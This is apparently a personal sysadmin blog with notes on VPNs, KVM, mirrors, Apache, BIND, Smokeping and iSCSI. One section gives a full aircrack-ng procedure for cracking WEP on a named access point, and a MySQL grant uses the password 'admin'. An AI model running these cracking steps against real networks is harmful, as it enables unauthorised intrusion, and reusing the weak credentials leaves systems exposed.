2013年4月4日星期四

Exciting, How to make a openvpn tunnel on the iPhone

Today, I was surface my iPhone that if any APP I did not like and rmove it from my iPhone. At this time, I saw openvpn. What is a openvpn? It is famous vpn server solution for almost any system os platforms in the planet. I like it. While I read the help knowlege in the APP, I saw something that I had never know, the instruction help said that , you could drop the key the cert the crt and the ca to your iTunes, also you could make all the files in the ulited format to one UTF8 text file, and send the file the your email as an attachment, and use your iPhone's email app to view it , download the ovpn file in the attachment, open it with openvpn, and then you knew, you can surface your aim with the openvpn. It was a really really excithing thing today.

The following are the format about the attachment you should send it to your email box.
<ca>
`cat ca.crt`
</ca>

<cert>
`cat XX.crt`
</cert>

<key>
`cat XX.key`
</key>

`cat XX.ovpn`

Tip: in the .ovpn file, you should not include the ca XX.ca key XX.key crt XX.crt three lines on your UTF8 ovpn text file.


The following lines are added at 11:14 2013-04-05
What about the server side configuration?
My VPS was built on the OpenVZ system, so If I want do a openvpn server, I must first enable the tap/tun interface on the VPS control panel. Maybe need a reboot here, but even you reboot it , you do not have the interface /dev/net/tun, but we can make it with the command
"

mkdir -p /dev/net
mknod /dev/net/tun c 10 200

"

and then ,you can openvpn server.conf exected on your vps server.

HP G7 do kvm job

Today my leader asks me to do a virtualization to our server "ProLiant DL380 G7", it is a big machine with 2 cpus every cpu have 12 processors and so many memories, although the memory card slot has not been fix full, it also has about 70GB memories, so he decide to use virtualization on it , so that the developers can have a lot of machines, not so many guys use only one machine to do their job, that so many tomcat application located on the same server and they must change their tcp port to not 8080 and 8089, and so on.

At the time I heard the order from him, I asked why shall we use the VirtualBox, it also is a good choice, and I have made a test it on another server for test. He said that "I mean virtualization, but not a virtual host."

So I must obtain that order to do the Virtualization.

I searched the google with a good reference about kvm on the centos "http://kritonsblog.blogspot.com/2012/12/centos-63kvmvncserver.html", I like blogspot, so I searched with the key word "centos kvm site:blogspot.com". Although the result is kvm based on the centos 6.3, and ours are centos 5.5, but I think maybe just take a try is the best option. So  referenced with the article, first use the command "yum install kvm virt-viewer virt-manager libvirt libvirt-python python-virtinst", but after I installed the software, it absolutely installed influence, no errors , but there some other things to think. First, I can have the application in the system software item on the floor item. But, some choices on the software window do let me to mark, such as the first "partial virtualization" and "full virtualization", I can't choose full one, I do not why at this time, I also take a command "/etc/init.d/libvirt restart", but it was not work. At this time, I think I should lost softwares, so I do another job "yum groupinstall kvm", so perfect a command , the centos have absolutely make a focus on kvm, but also the full virtualization do not let me chooise. After I have lauch, I do a reboot job to the machine, and everything takes ok now. I have all the choices to let me choose.

Another Question: what is the network device should kvm use? At first, I think the bridge should be the best choise, because if you have done that, you should be very easy on the left days, make a sense that the guest network card are the same as the host network card. So I made a try to bridge it, but the result is so happy, I can't have the right function. Then, I drop the choise, I think I should first install kvm and install a os and work ok on the host machine. Based on this mind, I took the route network device model for the guest machine( here, we should have a sense that if we chooise the route model, it was difference with the nat model, we should make some routes on the core switches, also maybe change the net.ipv4.ip_forward on the host machine). I made the route network model to the name "network1", also the kvm manager have its default model, I do not have a try.

So, create the first new guest machine, with the installation from the http on our inside server, here, you should pay attention, at the time you entered the install url and the kickstart cfg file path http, first, the install url should be with a ".treeinfo" on the root dir directory(I saw the http error log file, so I know this). So, the installation were going on. But it was stopped with the blue window, I waited about 5minutes, it do not have a little action, so I used the key "ctrl+alt+F1 .. F4" to see the installtion log, I found that it could not fetch the file kickstart. No, it should not be this, It can get the installation files, if it couldn't get the installation file, what did the blue window comes from? But , after a little time to think about this, I knew that it should be two network model, first, while the kvm to start the guest machine, it uses the nat model , and after it took the process of install, it changed the network model to the one I had give it. So I added the missing network route, the staic route on the core switch. And it could work ok.

After the guest machine had the files to install the os, it was stopped at the time of partition the disk, and gave me a error notice with the backgroup color of red, "the disk sda do not fould,, such things", it let me know that the kickstart file was built for the dell R710 with two harddisk raid1 to install the os, so I made a change on the kickstart file, and comment the disk part configuration. So I crossed the problem.

The installating was going on. But this time, It was stopped with the software install window, and the software was libgnomeui with the summary "GNOME BASE GUI library", it let me think that may be it should disable the gui installation. Once again, I changed the kcikstart file and comment the "@gnome" and other gnome options. So the installation ware going on.

In fact, I put the installation with the gnome on the desktop with the test name "test5" and use the changed kickstart file with the test name "test6", also I had made another guest machine with the test name "test7" that did not use the kickstart file, so I could chose the options on the installation process.But , at last , the test6 was successfully installed the centos 5.5, also the test7 was not work(after a reboot, it was halt with Grub.... You know that.)

This article is written at the time of test6 successfully login in to the os.

How to fix the ssh connect for a password promt wait so long?

I have a AliYun VPS, that ip 42.96.166.148, these days while I using the linux terminal client "lxterminal" to connect to it, I should wait so long, it is a waste of time.So, Why ? Who is the murder.

Because I have ever configed the /etc/ssh/sshd_config with the option "GSSAPIAuthentication" and "GSSAPICleanupCredentials" to "no", so this time I changed it directely change the value to no, and then I found that while I use the command "ssh root@42.96.166.148", the password promts me so quickly. Yeah, save a lot of my time.

Also, I have do a research to GSSAPI,
Reference:
http://germanrumm.eu/fixing-ssh-login-delay-how-to-disable-gssapi-with-mic-on-ubuntu-linux/

The author suggests that you should change the GSSAPIAuthentication to no.

And, the reference:
http://drsavoye.blogspot.com/2010/04/fixing-slow-ssh-prompt.html
the guy has suggests that change both the GSSAPIAuthentication and GSSAPICleanupCredentials to no.
At this time, I think the GSSAPI is a shell to protect the password and pubkey authentication.

I have a question now, what is GSSAPI?


2013年4月3日星期三

About VPS with pptpd and iPhone, the vpn tunnel do not stable

While I installed pptpd and enable the pptp in the vps control panel, also I used the command "mknod /dev/ppp c 108 0", and the iPhone can successfully dial the vpn tunnel , also the iptables and ufw configure ok, I could see the flow from the vpn client (iPhone) and outside communicate with the google blogspog server, but the blogger application on the iPhone do not work properly. But some websites such as "www.baidu.com" can browsers properly, why? I do not know.

Searched the goolge, And fould some useful information about iOS with the pptpd service, echo "nopcomp" and "noaccomp" to the pptpd option file "/etc/ppp/pptpd-options".

Ah,.... Amazing.

Maybe I should try openvpn with the iPhone,or do a squid proxy server on it.

Why I can not install pptpd software in my VPS?


root@Singapore:~# apt-get install pptpd 
Reading package lists... Done
Building dependency tree    
Reading state information... Done
The following extra packages will be installed:
  bcrelay ppp
The following NEW packages will be installed:
  bcrelay ppp pptpd
0 upgraded, 3 newly installed, 0 to remove and 93 not upgraded.
Need to get 0 B/460 kB of archives.
After this operation, 1530 kB of additional disk space will be used.
Do you want to continue [Y/n]? y
FATAL -> Failed to fork.

root@Singapore:~# df -h
Filesystem      Size  Used Avail Use% Mounted on
/dev/simfs       10G  2.7G  7.4G  27% /
none            128M  8.0K  128M   1% /dev
none             26M  1.1M   25M   5% /run
none            5.0M     0  5.0M   0% /run/lock
none            128M     0  128M   0% /run/shm

root@Singapore:~# free -m
             total       used       free     shared    buffers     cached
Mem:           256        167         88          0          0         59
-/+ buffers/cache:        108        147
Swap:            0          0          0

http://linuxcommando.blogspot.com/2008/08/how-to-show-apt-log-history.html -> apt-history install

http://forum.openvz.org/index.php?t=msg&goto=38046&

root@Singapore:/var/log# cat /proc/user_beancounters
Version: 2.5
       uid  resource                     held              maxheld              barrier障碍              limit              failcnt
      826:  kmemsize                 10090664             17158144           2147483646           2147483646                    0
            lockedpages                     0                    0               999999               999999                    0
            privvmpages                 29281                65516                65536                65536                   14
            shmpages                     2841                 5564                32768                32768                    0
            dummy                           0                    0                    0                    0                    0
            numproc                        27                   78               999999               999999                    0
            physpages                   41899                65536                    0                65536                    0
            vmguarpages                     0                    0                32768           2147483647                    0
            oomguarpages                21751                31438                32768           2147483647                    0
            numtcpsock                    129                  593              7999992              7999992                    0
            numflock                        7                   13               999999               999999                    0
            numpty                          1                    2               500000               500000                    0
            numsiginfo                      0                   30               999999               999999                    0
            tcpsndbuf                 3266296             11425048            214748160            396774400                    0
            tcprcvbuf                 6289120             21288576            214748160            396774400                    0
            othersockbuf                48552               134536            214748160            396774400                    0
            dgramrcvbuf                     0                25760            214748160            396774400                    0
            numothersock                   56                   89              7999992              7999992                    0
            dcachesize                3696653              5748878           2147483646           2147483646                    0
            numfile                       659                 1135             23999976             23999976                    0
            dummy                           0                    0                    0                    0                    0
            dummy                           0                    0                    0                    0                    0
            dummy                           0                    0                    0                    0                    0
            numiptent                      24                   24               999999               999999                    0


http://web-linux.blogspot.com/2010/10/what-is-cat-procuserbeancounters-in.html

* privvmpages
This is the memory allocation limit. This parameter allows controlling the amount of memory allocated by applications. If the failcnt value increases on this parameter, most likely there is not a sufficient amount of memory available to run the application.


Reboot  the vps machine


root@Singapore:~# apt-get install pptpd
Reading package lists... Done
Building dependency tree    
Reading state information... Done
The following extra packages will be installed:
  bcrelay ppp
The following NEW packages will be installed:
  bcrelay ppp pptpd
0 upgraded, 3 newly installed, 0 to remove and 93 not upgraded.
Need to get 0 B/460 kB of archives.
After this operation, 1530 kB of additional disk space will be used.
Do you want to continue [Y/n]? y
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
LANGUAGE = (unset),
LC_ALL = (unset),
LC_TIME = "zh_CN.UTF-8",
LC_MONETARY = "zh_CN.UTF-8",
LC_ADDRESS = "zh_CN.UTF-8",
LC_TELEPHONE = "zh_CN.UTF-8",
LC_NAME = "zh_CN.UTF-8",
LC_MEASUREMENT = "zh_CN.UTF-8",
LC_IDENTIFICATION = "zh_CN.UTF-8",
LC_NUMERIC = "zh_CN.UTF-8",
LC_PAPER = "zh_CN.UTF-8",
LANG = "en_US.UTF-8"
    are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").
locale: Cannot set LC_CTYPE to default locale: No such file or directory
locale: Cannot set LC_MESSAGES to default locale: No such file or directory
locale: Cannot set LC_ALL to default locale: No such file or directory
Selecting previously unselected package ppp.
(Reading database ... 26461 files and directories currently installed.)
Unpacking ppp (from .../ppp_2.4.5-5ubuntu1_amd64.deb) ...
 Removing any system startup links for /etc/init.d/ppp ...
Selecting previously unselected package bcrelay.
Unpacking bcrelay (from .../bcrelay_1.3.4-5ubuntu2_amd64.deb) ...
Selecting previously unselected package pptpd.
Unpacking pptpd (from .../pptpd_1.3.4-5ubuntu2_amd64.deb) ...
Processing triggers for man-db ...
locale: Cannot set LC_CTYPE to default locale: No such file or directory
locale: Cannot set LC_MESSAGES to default locale: No such file or directory
locale: Cannot set LC_ALL to default locale: No such file or directory
Setting up ppp (2.4.5-5ubuntu1) ...
Setting up bcrelay (1.3.4-5ubuntu2) ...
Setting up pptpd (1.3.4-5ubuntu2) ...
Starting PPTP Daemon: pptpd.

So, last, I have successfully install the software.

Other questions:
How many memory does the apt-get install use?
Is there any way to free the memory and then we can install software without reboot the server?

How to do a opensource mirror site

In these days , I have found a problem that while I am using yum to update my software in CentOS, I will get so many checksum error, what's the problem? I searched google, and I found some information that in USA, there also have the same situation the ISP cached the old file and so you can't update your software correctely. Also I have do a test, I have a VPS in AliYun, and do a squid proxy to let me use in my company, and it work's fine . And based on this situation, I think over and over, I have a idea that  do a mirror site by myself, and the idea is not come these days, while I was in college, I had bought a 250GB IDE Hard disk to do this thing. And you kown, 250GB is almost to include CentOS YUM repo, but abosolutely not including the Ubuntu repo.  So , now , I have the money to build this in the cloud. I bought a VPS with 500GB harddisk.

The VPS Information is :
IP: 42.96.166.148
ISP: AliYun

Next is the technology about how to use rsync to build this mirror.

Step 1: Prepare for the harddisk
The root disk is 20GB that you will automatically have while you buy this vps.
And we need another 500GB to store the centos dag repoforage , etc. But , we should know that CentOS is almost 250GB, and Ubuntu is 700GB, so we should not rsync ubuntu. The price will very high.

We use fdisk to do this job. "fdisk /dev/sdb" to start the partition process, use "n" to create a new partition, use "p" to identify the partition is a primary one, use "1" to give it a number, and then we use "w" to exit with the fdisk process. Then, we use "mkfs.ext4 /dev/sdb1" to do a format job. The format process will take about one minutes, it depend on the size of the storage.

We make a mount point with the command "mkdir /opensource" and then we mount it using "mount -t ext4 /dev/sdb1 /opensource" and make one line in /etc/fstab to make sure it will automatically mount while it reboot.

Maybe we also need LVM to do the disk job, depending on the LVM we can extend the storage area while we need it.

At this time, I used LVM with the partition disk and the mount.
pvcreate /dev/sdb1
vgcreate opensource-data /dev/sdb1
lvcreate -n opensource-data -l +100%FREE
and then mount it.

So we have a 500GB storage at the mount point /opensource

Step2:  Rsync 

Rsync the centos
nohup rsync -avzP rsync://ftp.neowiz.com/centos /opensource/centos --bwlimit=200 --log-file=`date +%Y%m%d` &

Rsync the dag

#!/bin/bash
nohup rsync -avzP rsync://ftp.neowiz.com/fedora-epel /opensource/fedora-epel --bwlimit=200 --log-file=`date +%Y%m%d` &

Rsync the archlinux

#!/bin/bash
nohup rsync -avzP rsync://ftp.icm.edu.pl/pub/Linux/dist/archlinux/ /opensource/archlinux/ --bwlimit=200 --log-file=`date +%Y%m%d` &

Rsync the CPAN

#!/bin/bash
nohup rsync -avzP rsync://ftp.neowiz.com/CPAN /opensource/CPAN --bwlimit=200 --log-file=`date +%Y%m%d` &

Rsync the repo
#!/bin/bash
nohup rsync -avzP rsync://ftp.neowiz.com/repoforge /opensource/repoforge --bwlimit=200 &







Apache Rewrite Rules How To

It is not a funny topic, isn't it !
I have read a blog http://smart-scripts-for-sysadmins.blogspot.in/2012/07/apache-url-redirection-cheat-sheet.html and download the pdf that in it , I saw it , but I can not all understand what the pdf say, so this blog's aim is to know the basic fundamental of apache rewrite .

Example:

RewriteEngine On
RewriteLogLevel 4
Rewritecond %{REQUEST_URI} !^/HTML2/   // 如果uri不是 HTML2
Rewritecond %{REQUEST_URI} !munin$ // 如果uri不是 munin
Rewritecond %{REQUEST_URI} !munin2$ // 如果uri不是munin2
RewriteRule ^/(.*)$ /HTML2/$1 [R,L] // rewrite redirect last
Rewritelog /var/log/apache2/rewrite

如果我访问 http://42.96.166.148/a 那么 rewrite日志是:

116.251.209.180 - - [03/Apr/2013:10:17:07 +0800] [42.96.166.148/sid#7fc645824860][rid#7fc645b01428/initial] (2) init rewrite engine with requested uri /a
116.251.209.180 - - [03/Apr/2013:10:17:07 +0800] [42.96.166.148/sid#7fc645824860][rid#7fc645b01428/initial] (3) applying pattern '^/(.*)$' to uri '/a' // Here, apache is using the pattern to get the uri %{REQUEST_URI} 
116.251.209.180 - - [03/Apr/2013:10:17:07 +0800] [42.96.166.148/sid#7fc645824860][rid#7fc645b01428/initial] (4) RewriteCond: input='/a' pattern='!^/HTML2/' => matched
116.251.209.180 - - [03/Apr/2013:10:17:07 +0800] [42.96.166.148/sid#7fc645824860][rid#7fc645b01428/initial] (4) RewriteCond: input='/a' pattern='!munin$' => matched
116.251.209.180 - - [03/Apr/2013:10:17:07 +0800] [42.96.166.148/sid#7fc645824860][rid#7fc645b01428/initial] (4) RewriteCond: input='/a' pattern='!munin2$' => matched
116.251.209.180 - - [03/Apr/2013:10:17:07 +0800] [42.96.166.148/sid#7fc645824860][rid#7fc645b01428/initial] (2) rewrite '/a' -> '/HTML2/a'
116.251.209.180 - - [03/Apr/2013:10:17:07 +0800] [42.96.166.148/sid#7fc645824860][rid#7fc645b01428/initial] (2) explicitly forcing redirect with http://42.96.166.148/HTML2/a
116.251.209.180 - - [03/Apr/2013:10:17:07 +0800] [42.96.166.148/sid#7fc645824860][rid#7fc645b01428/initial] (1) escaping http://42.96.166.148/HTML2/a for redirect
116.251.209.180 - - [03/Apr/2013:10:17:07 +0800] [42.96.166.148/sid#7fc645824860][rid#7fc645b01428/initial] (1) redirect to http://42.96.166.148/HTML2/a [REDIRECT/302]
116.251.209.180 - - [03/Apr/2013:10:17:08 +0800] [42.96.166.148/sid#7fc645824860][rid#7fc645b01428/initial] (2) init rewrite engine with requested uri /HTML2/a
116.251.209.180 - - [03/Apr/2013:10:17:08 +0800] [42.96.166.148/sid#7fc645824860][rid#7fc645b01428/initial] (3) applying pattern '^/(.*)$' to uri '/HTML2/a'
116.251.209.180 - - [03/Apr/2013:10:17:08 +0800] [42.96.166.148/sid#7fc645824860][rid#7fc645b01428/initial] (4) RewriteCond: input='/HTML2/a' pattern='!^/HTML2/' => not-matched
116.251.209.180 - - [03/Apr/2013:10:17:08 +0800] [42.96.166.148/sid#7fc645824860][rid#7fc645b01428/initial] (1) pass through /HTML2/a
116.251.209.180 - - [03/Apr/2013:10:17:08 +0800] [42.96.166.148/sid#7fc645824860][rid#7fc645b01428/initial] (2) init rewrite engine with requested uri /favicon.ico
116.251.209.180 - - [03/Apr/2013:10:17:08 +0800] [42.96.166.148/sid#7fc645824860][rid#7fc645b01428/initial] (3) applying pattern '^/(.*)$' to uri '/favicon.ico'
116.251.209.180 - - [03/Apr/2013:10:17:08 +0800] [42.96.166.148/sid#7fc645824860][rid#7fc645b01428/initial] (4) RewriteCond: input='/favicon.ico' pattern='!^/HTML2/' => matched
116.251.209.180 - - [03/Apr/2013:10:17:08 +0800] [42.96.166.148/sid#7fc645824860][rid#7fc645b01428/initial] (4) RewriteCond: input='/favicon.ico' pattern='!munin$' => matched
116.251.209.180 - - [03/Apr/2013:10:17:08 +0800] [42.96.166.148/sid#7fc645824860][rid#7fc645b01428/initial] (4) RewriteCond: input='/favicon.ico' pattern='!munin2$' => matched
116.251.209.180 - - [03/Apr/2013:10:17:08 +0800] [42.96.166.148/sid#7fc645824860][rid#7fc645b01428/initial] (2) rewrite '/favicon.ico' -> '/HTML2/favicon.ico'
116.251.209.180 - - [03/Apr/2013:10:17:08 +0800] [42.96.166.148/sid#7fc645824860][rid#7fc645b01428/initial] (2) explicitly forcing redirect with http://42.96.166.148/HTML2/favicon.ico
116.251.209.180 - - [03/Apr/2013:10:17:08 +0800] [42.96.166.148/sid#7fc645824860][rid#7fc645b01428/initial] (1) escaping http://42.96.166.148/HTML2/favicon.ico for redirect
116.251.209.180 - - [03/Apr/2013:10:17:08 +0800] [42.96.166.148/sid#7fc645824860][rid#7fc645b01428/initial] (1) redirect to http://42.96.166.148/HTML2/favicon.ico [REDIRECT/302]
116.251.209.180 - - [03/Apr/2013:10:17:09 +0800] [42.96.166.148/sid#7fc645824860][rid#7fc645b01428/initial] (2) init rewrite engine with requested uri /HTML2/favicon.ico
116.251.209.180 - - [03/Apr/2013:10:17:09 +0800] [42.96.166.148/sid#7fc645824860][rid#7fc645b01428/initial] (3) applying pattern '^/(.*)$' to uri '/HTML2/favicon.ico'
116.251.209.180 - - [03/Apr/2013:10:17:09 +0800] [42.96.166.148/sid#7fc645824860][rid#7fc645b01428/initial] (4) RewriteCond: input='/HTML2/favicon.ico' pattern='!^/HTML2/' => not-matched
116.251.209.180 - - [03/Apr/2013:10:17:09 +0800] [42.96.166.148/sid#7fc645824860][rid#7fc645b01428/initial] (1) pass through /HTML2/favicon.ico

# How to redirect users to the identify web pages based on their web browser?

# MS Internet Explorer - Mozilla v4
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^Mozilla/4(.*)MSIE
RewriteRule ^index\.html$ /index.IE.html [L]

2013年4月2日星期二

ZFS the last world file system (Good File System)


# 安装 with 仓库epel
yum install zfs-fuse

# How to start automatically while the machine is on

/etc/init.d/zfs-fuse start
chkconfig zfs-fuse on

# How to add a disk to aliyun vps
zpool add opensource /dev/xvdc
# Wait about 1 minutes


[root@AY1302270447342 ~]# zfs list
NAME         USED  AVAIL  REFER  MOUNTPOINT
opensource   716G  1.21T   716G  /opensource



Change urllist in PERL


# 初始化perl配置
o conf init

# 查看perl配置的urllist是什么
o conf urllist

# 弹出 也就是说 删掉 urllist shift配置
o conf urllist shift

# 添加 url配置到 配置文件
o conf urllist push http://42.96.162.172:83/CPAN

# 查看 url配置
o conf urllist

# 添加一个注释
o conf commit

# You can also change it with yourself config file

# 如果是自己的用户 修改 ~/.cpan/CPAN/MyConfig.pm

# 查看系统全局 Perl 配置文件所在:
perl -le 'for (@INC) { $_ .= $ARGV[0]; print if -f }' /CPAN/Config.pm 
=> /usr/share/perl5/CPAN/Config.pm

How to make 00-ff directories with PHP


<?php
$num=array("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");
foreach ($num as $value) {
    foreach ($num as $value2) {
        $dirname = $value . $value2;
        mkdir($dirname);
    }
}
?>

How to install plugins with PHP


# Install 
pear install Net_DNS2

# Usage 
include "/usr/share/php/Net/DNS2.php"; // 使用

script is a good command in linux

the command can save your input and the output to a file

Calculate a list of num sum


#!/bin/bash
result=0;
for num in `cat a`
do
    let result=$result+$num;
done
echo $result

How to use sed

cat /UrlListFilename | xargs -i sed -i 's/echo version="[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]"/echo version="20130227"/g' {}

How to change the names in linux with bash shell


#!/bin/bash
for file in `ls /home/test/Documents/network`
do
    mv $file $file.txt
done

Good VPS sales

http://www.oneasiahost.com/ 


http://www.rashost.com/

How to find the guy that download big file and others can't surface the internet



# eth1 is a nic that receive mirror port from h3c, just outgoing flow
tcpdump -i eth1 -n | awk '{print $3}' | awk -F. '{print $1"."$2"."$3"."$4}' > 1.txt
cat 1.txt | sort   | uniq -c | sort -n

# Do a acl on the H3C to deny the ip
acl number 3333
rule 1 deny ip source 192.168.50.90 0
rule 2 permit ip

interface e0/1
firewall packet-filter 3333 inbound

How to crack a WEP wireless


# 将wlan0无线网络接口设置到monitor模式
airmon-ng start wlan0

# 进入tmp下面的临时目录
mkdir /tmp/`date +%Y%m%d` && cd /tmp/`date +%Y%m%d`

# 找到SSID 和 Channel, 将搜集到的数据包写到1.cap
airodump-ng mon0 -w 1.cap --bssid 00:23:CD:21:08:7C -c 6

# 找到该SSID下面的一个Client 00:1D。。。 然后进行 注入
aireplay-ng -3 -b 00:23:CD:21:08:7C -h 00:1D:0F:32:83:ea mon0

# 进行破解
aircrack-ng -b 00:23:CD:21:08:7C *.cap

Network Coverbility TEST


Smokeping部署文档
# 存活主机寻找
# 安装依赖
cpan install DBI
yum install nmap -y
cd /tmp
mkdir FindAliveHosts && cd FindAliveHosts
wget http://www.myciscolab.net/sources/FindAliveHosts.tar.gz
tar xzvf FindAliveHosts.tar.gz
./FindAliveHosts_1.pl
mkdir result_nmap/
./FindAliveHosts_2.pl
./FindAliveHosts_3.pl >FindAliveHostsResult

Smokeping
依赖软件安装
echo '
[dag]
name=Dag RPM Repository for Red Hat Enterprise Linux
baseurl=http://apt.sw.be/redhat/el$releasever/en/$basearch/dag
gpgcheck=1
gpgkey=http://dag.wieers.com/rpm/packages/RPM-GPG-KEY.dag.txt
enabled=1'> /etc/yum.repos.d/dag.repo
cd /usr/local/src/ && wget http://apt.sw.be/redhat/el5/en/i386/rpmforge/RPMS/rpmforge-release-0.5.2-2.el5.rf.i386.rpm
rpm -Uvh /usr/local/src/rpmforge-release-0.5.2-2.el5.rf.i386.rpm
yum install -y lua rrdtool fping echoping curl
yum install -y perl perl-Net-Telnet perl-Net-DNS perl-LDAP perl-libwww-perl \ perl-RadiusPerl perl-IO-Socket-SSL perl-Socket6 perl-CGI-SpeedyCGI \ perl-Net-OpenSSH perl-Authen-Radius perl-FCGI perl-CGI 
yum install -y httpd
yum groupinstall “Development Tools”
cpan install Config::Grammar
cpan install CGI::Fast
declare -x PERL5LIB=/usr/lib/perl5/
declare -x PERL=/usr/bin/perl

下载编译安装Smokeping
cd /usr/local/src
wget http://oss.oetiker.ch/smokeping/pub/smokeping-2.6.6.tar.gz
tar xzvf smokeping-2.6.6.tar.gz
cd smokeping-2.6.6
#./setup/build-perl-modules.sh /usr/local/smokeping/thirdparty // 一般无需此步
./configure --prefix=/usr/local/smokeping
/usr/bin/gmake install

配置
cp -rf /usr/local/smokeping/htdocs /var/www/smokeping
mkdir /var/www/smokeping/cache
mkdir /var/www/smokeping/data
mkdir /usr/local/smokeping/var
chmod 600 /usr/local/smokeping/etc/smokeping_secrets.dist
chown -R apache:apache /var/www/smokeping
mv /var/www/smokeping/smokeping.fcgi.dist \ /var/www/smokeping/smokeping.fcgi
cp /usr/local/smokeping/etc/config.dist /usr/local/smokeping/etc/config
cd /usr/local/smokeping/etc && mv config config.bak`date +%Y%m%d` && /cat /tmp/FindAliveHosts/FindAliveHostsResult >> config
运行
/usr/local/smokeping/bin/smokeping

配置Apache
查看运行结果,如果不想查看,只是使用 tcpdump -i eth0 icmp -n 也可以看看smokeping是否正在运行
echo '
Alias /smokeping "/var/www/smokeping"
Alias /smokeping/cgi-bin/ "/var/www/smokeping/"
AddHandler cgi-script .fcgi
<Directory "/var/www/smokeping">
AllowOverride None
Options ExecCGI Indexes FollowSymLinks
Order allow,deny
Allow from all
AuthName "Smokeping Access"
AuthType Basic
AuthUserFile /var/www/smokeping/.htpasswd.users
Require valid-user
</Directory>' > /etc/httpd/conf.d/smokeping.conf

Result Analyzer
smokeping数字结果
cd /tmp
mkdir smokeping_analysis && cd smokeping_analysis
wget http://www.myciscolab.net/sources/smokeping_analysis.tar.gz
tar xzvf smokeping_analysis.tar.gz
./smokeping_analysis_1 // 从smokeping的数据结果中 导出到文件
./smokeping_analysis_2 // 算出平均数
./smokeping_analysis_3 // 按照运营商分开
./smokeping_analysis_4 $提供商名称 $city(城市) $ip地址 // 整顿结果文件名

smokeping 图片结果
cd /tmp
mkdir SmokepingAnalysisResultOut2Map
cd SmokepingAnalysisResultOut2Map
wget http://www.myciscolab.net/sources/SmokepingAnalysisResultOut2Map.tar.gz
tar xzvf SmokepingAnalysisResultOut2Map.tar.gz
# mysql 导入 1.sql
yum install -y mysql-server mysql
service mysqld restart
create database db_iplocate;
use db_iplocate;
source /tmp/SmokepingAnalysisResultOut2Map/1.sql
grant all privileges on db_iplocate.* to admin@'' identified by 'admin';

将数字结果放到result_smokeping
mv /tmp/smokeping_analysis/result_smokeping_* /tmp/SmokepingAnalysisResultOut2Map/result_smokeping/
然后 cd .. && ./smokeping_out2map
mv /tmp/SmokepingAnalysisResultOut2Map/*.html /var/www/smokeping/
当前目录下就可以找到结果

其他
重复检测
# 只需要删除/var/www/cache/* 然后重新启动smokeping
ps aux | grep smokeping | grep -v grep | awk '{print $2}' | xargs kill -9
rm -rvf /var/www/smokeping/cache/*
rm -rvf /var/www/smokeping/data/*
/usr/local/smokeping/bin/smokeping

Parttime work about pwik

# Install the dependencies

yum remove php php-cli php-common php-gd php-mysql php-pdo php-xml

yum list | grep installed | grep php

yum install php php-cli php-common php-gd php-mysql php-pdo php-xml php-mbstring php-pecl-json

yum remove php php-cli php-common php-gd php-mysql php-pdo php-xml php-mbstring php-pecl-json

# php 5.2.7 需要加装下面的repo

[c5-testing]
name=CentOS-5 Testing
baseurl=http://dev.centos.org/centos/$releasever/testing/$basearch/
enabled=1
gpgcheck=1
gpgkey=http://dev.centos.org/centos/RPM-GPG-KEY-CentOS-testing
#includepkgs=php*

[utterramblings]
name=Jason's Utter Ramblings Repo
baseurl=http://yum.jasonlitka.com/EL$releasever/$basearch/
enabled=1
gpgcheck=1
gpgkey=http://yum.jasonlitka.com/RPM-GPG-KEY-jlitka

There is one software, that install once and used forever Bind9

# Install
yum install bind bind-chroot bind-libs bind-utils

# Check if the named.conf is ok
named-checkconf -t /var/named/chroot /etc/named.conf

# Check if the zone file is ok
named-checkzone nixcraft.com /var/named/zone.nixcraft.com

# A problem

# 因为 ns1 在同一个zone里面有 CNAME 和 A 两条记录
[root@a named.bak20130315.asd]# named-checkzone test.com named.test.com
dns_master_load: named.test.com:32: ns1.test.com: CNAME and other data
zone test.com/IN: loading from master file named.test.com failed: CNAME and other data
zone test.com/IN: not loaded due to errors.
// At this probem resolv time, I used half and half part and part cut resolution, first, you cut one part from the file , and see if the named can work ok, if ok , then the error must in the cut part, else in the file, and at last, you can identify the error location.

A simple bash shell script for mongodb log backup

# the script

#!/bin/bash
cd /data/db/journal
cp -rvf mongdb.log  mongdb.log.bak`date +%Y%m%d`
echo "" > mongdb.log

# Do a cron job

# Added For Mongdb backup
05 00 * * * /bin/bash /root/shells/backup_mongdb.sh

OpenVPN, A really easy and good vpn software

# Server Config

port 443
mode server
proto tcp
dev tun
status /var/log/openvpn/servertcp.log
management localhost 7505
ca ca.crt
cert server.crt
key server.key
dh dh1024.pem
client-to-client
server 10.9.8.0 255.255.255.0
#ifconfig-pool-persist servertcplist.txt
ifconfig-pool-persist ip.txt // 关键是这个
#duplicate-cn //一定不要用这个
push "dhcp-option DNS 192.168.1.11"
#push "redirect-gateway"
push "route 192.168.30.0 255.255.255.0"
keepalive 10 120
comp-lzo
persist-key
persist-tun
verb 3
daemo

# Edit File ip.txt

userA,10.9.8.4 // 注意下,这个地方写的是网络号 而不是 IP地址
userB,10.9.8.8

# Client Config

client
dev tun
proto tcp
remote 1.1.1.1 1111
resolv-retry infinite
nobind
persist-key
persist-tun
ca ca.crt
cert AAA.crt
key AAA.key
ns-cert-type server
comp-lzo
verb 3
route-method exe



Do a simple iSCSI example


# Install iSCSI target
yum install scsi-target-utils
chkconfig tgtd on
service tgtd start

# Now you using the following command you see a new disk sdX
fdisk -l

# Edit File : /etc/tgt/targets.conf

default-driver iscsi
<target iqn.2013-03.com.example:server.target1>
    backing-store /dev/sde1
write-cache off
</target>

service tgtd restart
tgt-admin –show
And you will see the following:

Target 1: iqn.2013-03.com.example:server.target1
    System information:
        Driver: iscsi
        State: ready
    I_T nexus information:
    LUN information:
        LUN: 0
            Type: controller
            SCSI ID: IET     00010000
            SCSI SN: beaf10
            Size: 0 MB, Block size: 1
            Online: Yes
            Removable media: No
            Prevent removal: No
            Readonly: No
            Backing store type: null
            Backing store path: None
            Backing store flags:
    Account information:
    ACL information:
        ALL

# Initiator
yum install -y iscsi-initiator-utils

# Do a discovery 
iscsiadm -m discovery -t sendtargets -p 192.168.50.21

# connect to the remote disk
iscsiadm -m node -T iqn.2013-03.com.example:server.target1 -p 192.168.50.21 --login
and you will see the following


[root@localhost ~]# iscsiadm -m node -T iqn.2013-03.com.example:server.target1 -p 192.168.50.21
# BEGIN RECORD 2.0-872.41.el6
node.name = iqn.2013-03.com.example:server.target1
node.tpgt = 1
